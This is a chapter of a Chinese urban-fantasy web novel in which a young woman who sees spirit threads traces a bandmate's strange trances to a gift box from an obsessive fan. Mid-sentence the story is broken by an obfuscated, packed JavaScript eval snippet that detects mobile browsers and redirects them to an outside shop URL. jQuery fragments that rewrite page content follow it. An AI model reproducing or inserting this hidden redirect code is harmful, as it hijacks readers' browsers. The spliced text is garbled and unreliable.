周屿顺着她的目光回头,果真见到门口的鞋柜位置,有只小猫正撕咬着其中一根鞋带。
“啥时候在这儿的啊,我刚刚都没看见。”
印墨予小步跑过去,斗争了一番之后才把小猫抱起来。
只是被它摧残过的鞋子惨不忍睹,鞋带破破烂烂的,鞋面上还咬出个洞。
“抱歉,这是你的鞋吗,我赔你一双吧。”
“宋以桉的鞋,不过也没关系,是品牌方送的,你不用赔了。”
印墨予抿了抿嘴:“真不好意思,要不我当面跟他讲一下吧。”
周屿耸耸肩膀:“他也没这么多讲究。”
他话都还没讲完,就见面前的印墨予不知道怎么走动的,本来是在鞋柜的角落,一个眨眼就绕到自己身后。
咚咚两声,连房门都已经敲响了。
他后退着转身,还差点被那只鞋绊住跌一跤。
“小心。”印墨予抬手想扶他,他却先一步撑住了门板。
然后门从里面被人打开了,周屿维持着这个貌似很帅的姿势,还是跌进了房间里面。
宋以桉抓着他胳膊把人拉起来,“你干什么呢?”
“脚滑脚滑……”周屿站直后,讪讪开口,“有客人来,就刚才见面的,楼上邻居。”
宋以桉看了眼还站在门口的人,她正低头看地板。
周屿解释了一下:“她的猫咬坏了门口的鞋。”
印墨予抬起眼,她这次没在门缝见到刚才发现的雾气。
她把绒绒往上举了举:“不好意思,它咬坏了你的鞋。”
“没事。”宋以桉果真跟周屿讲的一样,并不在意。
印墨予还站在玄关的位置,眼睛转了转。
她手一松,绒绒就会意从她身上跳下来,往房间里面跑过去。
“绒绒!”她转头朝两人又道歉,“不好意思,它太小了,老是东蹿西跳的,我过去抓它,别再把你们房间的东西碰坏了。”
周屿:“我跟你一起。”
这间房的格局和她的差不多,只是曜石乐队在这里住得久,所以要更有生活气息一些。
绒绒没乱跑,只是到了沙发边的地毯上,缩在靠枕和沙发腿中间的位置。
“小动物就喜欢这样挤的地方,在生理上会觉得安全。”
“你也养宠物吗?”
“我自己没有,不过我爸妈也是养了只猫,都有七八岁了。”
“真的,那你肯定有经验了,能跟我讲讲吗,我这是才领养的猫。”
“当然没问题。”周屿从冰箱里拿了瓶水递给她,捎带着给她讲了些注意事项。
“你们两个人住这间吗?”印墨予问。
“是,宏京他们三个住在另外一间,要不是因为住不下,我都想一起过去了。”
“为什么啊?”
周屿瞥了眼宋以桉,“他太闷了,平时我不开口的话,他甚至能一天都不说一个字,光在房间里写歌。”
宋以桉从刚才关上门之后,就双手插兜站在餐桌边上,一副生人勿近的模样。
这个角度,印墨予刚好能看见从他后脑勺延伸出来的一段线。
是有点类似蛛丝那种灰白色的线,线的另一头通向东面那个房间。
房门半掩,里面放了些盒子。
“那个小房间平时不住人吧?”
“里面东西太多了,平时粉丝送来的礼物,还有品牌方拿的东西也在,都好久没收拾了。”
周屿伸出手指想逗小猫,它一下子蹿到印墨予怀里,连根毛都没碰到。
“这小东西还挺好玩的。”
“那个,宋以桉,你不用坐下吗?”印墨予问。
宋以桉这才在沙发另外一角端坐下来,似乎是觉得回房间冷落了客人不太好,但又实在不知道该说些什么。
“你最近是不是很累,我看你状态不太好,是不是没什么时间休息?”
周屿先接话:“确实有点,我感觉他也是昏昏沉沉的,除了在舞台上兴致能高点。”
他踢了一下宋以桉的脚,“人家问你话呢。”
宋以桉没有出声,呆愣在原地,浅色的眼珠机械性地转了两圈,速度规整,不像常人的姿态。
“我去!你看到了吗?”周屿转头询问印墨予。
宋以桉的眼神逐渐回笼,看他俩的眼神有点茫然,“怎么了?”
周屿指了指他的眼睛:“你眼睛好像有点问题,要不要去医院看看。”
“我刚刚,好像眯了一觉。”
“人还直挺挺坐着呢,怎么可能睡着,不信你问小印,她也看见了。”周屿是真怀疑他劳累过度身体出问题了。
宋以桉身体出现异状时,印墨予见到他脑后的线变粗了几分,他是受到外来的影响才会这样的。
她开口:“确实,你最近还有其他觉得不对劲的地方吗?”
宋以桉沉默了片刻,在犹豫着要不要说,这件事不太适合跟才见过一面的人讲。
但周屿跟他相处起来,光看表情就知道对方藏着事儿。
“有啥大不了的,你说出来咱们一起解决呗。”他讲到一半才想起来还有印墨予这个外人在场。
“要不你先回家吧,回头我带着桉子去医院检查检查身体,兴许就是因为精神太紧绷了。”
“不是精神问题。”这次是宋以桉先出声否认。
周屿:“好好好,总归等做了体检再说。”
印墨予就是为这事来的,现在亲眼见到有异生物作祟,更不可能走了。
她记得景舟说过,外联部有能够短期清除记忆的工具,而且不会有任何副作用。
等事了之后,申请给面前这两位用一下就好了。
她给穆泽之留了言,咨询这个东西要问谁要。
“的确不是精神问题,你是被脏东西缠住了,你的脑袋现在连着一根线。”
周屿独自凌乱了一瞬间,怎么宋以桉的事还没解决,又出来一个前言不搭后语的。
他都开始怀疑这房间里有问题的到底是谁了。
“你们俩别吓我啊。”
“我是认真的,”印墨予运转灵力,指尖镀上一层银光,手指在眼前轻轻一扫。
“你这儿什么高科技,我靠!”他在看见那条线时生生住了口,往后退了半步,“你,他他……”
“怎么了?”这次换宋以桉疑惑了。
印墨予也给他短暂升级了视力,能见到能量波动。
几分钟后,她从杂物间抱了个盒子出来,放在地毯正中间。
周屿默默又离那个盒子远了些:“就是里面的东西,影响桉子的?”
宋以桉大概是从半月前的那次演出开始觉得有些不对劲的。
当时舞台结束,安排了乐队串场互动,他介绍完自己,正听其他成员讲话。
目光落在观众席当中,原本没有聚焦,只是从那些应援棒和横幅中扫过去。
但某个瞬间,神经莫名一紧,他看见观众里有个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966162|209255||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
戴着灰色鸭舌帽的粉丝,长直发,戴了口罩,脸完全被遮住。
只有她一个人是安静的,在喧闹的人群当中分外明显。
看上去不像是粉丝,观众席的灯光晦暗,他看不清,但感觉人的确是在看向自己的。
宋以桉原本没当回事,可能只是碰巧注意到了。
可等到后面一次粉丝签售会的时候,他又注意到了队伍当中的那个人。
换了着装,但还是同样的灰色鸭舌帽,穿着不起眼的T恤牛仔裤,仍旧遮着脸。
排到时,她拿着要签名的小卡上前,只是打了招呼,也没有说多余的话。
宋以桉准备写下to签:“你叫什么名字?”
“桃子,我叫桃子。”
他写下祝福的话之后签名,女生离开的时候,忽然低声说了一句,“希望你永远只看着我一个人。”
声音没有起伏,可他还是从语调当中觉察出几分异常。
原本以为只是狂热粉丝,之前也不是没遇到过,每次对外行程,总是能碰到在路上追车的。
甚至还有在酒店的角落当中蹲守的,还有一次,差点潜进了他们的房间。
宋以桉又看了那女生离开的背影,她没有多做停留,只是拿着签名照,很快消失在了场馆当中。
再之后的对外行程就是长风音乐节。
“昨天,我在音乐节的草坪上,又看见了她。”
按理来讲,音乐节上那么乱,又没有作为,人群层层叠叠地在一起,想要聚焦到某个人身上都很困难。
“她甚至不在前排,距离舞台大概有二三十米远。”
周屿嘶了一声:“你怎么注意到的。”
舞台灯光的影响下,原本是绝对不可能看清楚那么远的人像的。
“我说不清楚,像是冥冥之中受到什么指引一样。”
印墨予思索道:“应该是她通过某种手段影响了你的思想,能对你做出牵引。”
“牵引?”宋以桉重复了这个词,眼睛一转。
“当时,还发生了什么?”印墨予看出他欲言又止。
宋以桉看了看自己的左手:“她发现我注意到她的时候,把左手举高了,我那时也不知道怎么想的,手臂也不受控制地上摇。”
听她这么讲,确实像是受到了牵引的症状。
“在电梯里的时候,我没见到你头上的线,或者这东西受距离限制,离得很近时才能发挥作用。”
周屿问:“那我们出去工作的时候,岂不是离得更远了。”
“我猜测这更像是一种提供能量的方式,每次你在家的时候,它都会对你的身体进行蓄能,而桃子对你发出的指令,就是在测试你收它影响的程度。”
印墨予把手放到盒子的丝带上,准备打开。
“等一下,”周屿出声制止,“不会有什么危险吧,我们两个要不要躲远一点。”
“不会的,她不确定打开的人是谁,肯定不会有明面上的危险,那些礼物,你们都不看的吗?”
“礼物和信太多了,工作人员收到的时候会先筛查一遍,如果太贵的物品会安排退回,这个里面估计就是平常的东西。”
周屿看着她打开盒子。
里面还有着另外一个长方体的抽拉盒子,印墨予拿在手上,闻见一股异常的气味。
像是某种甜腻的香水味或者烧焦的塑料。
她勾住一侧用来拉开的缎带,刚拉出一寸,就有更细小的,灰白色的线向外渗出。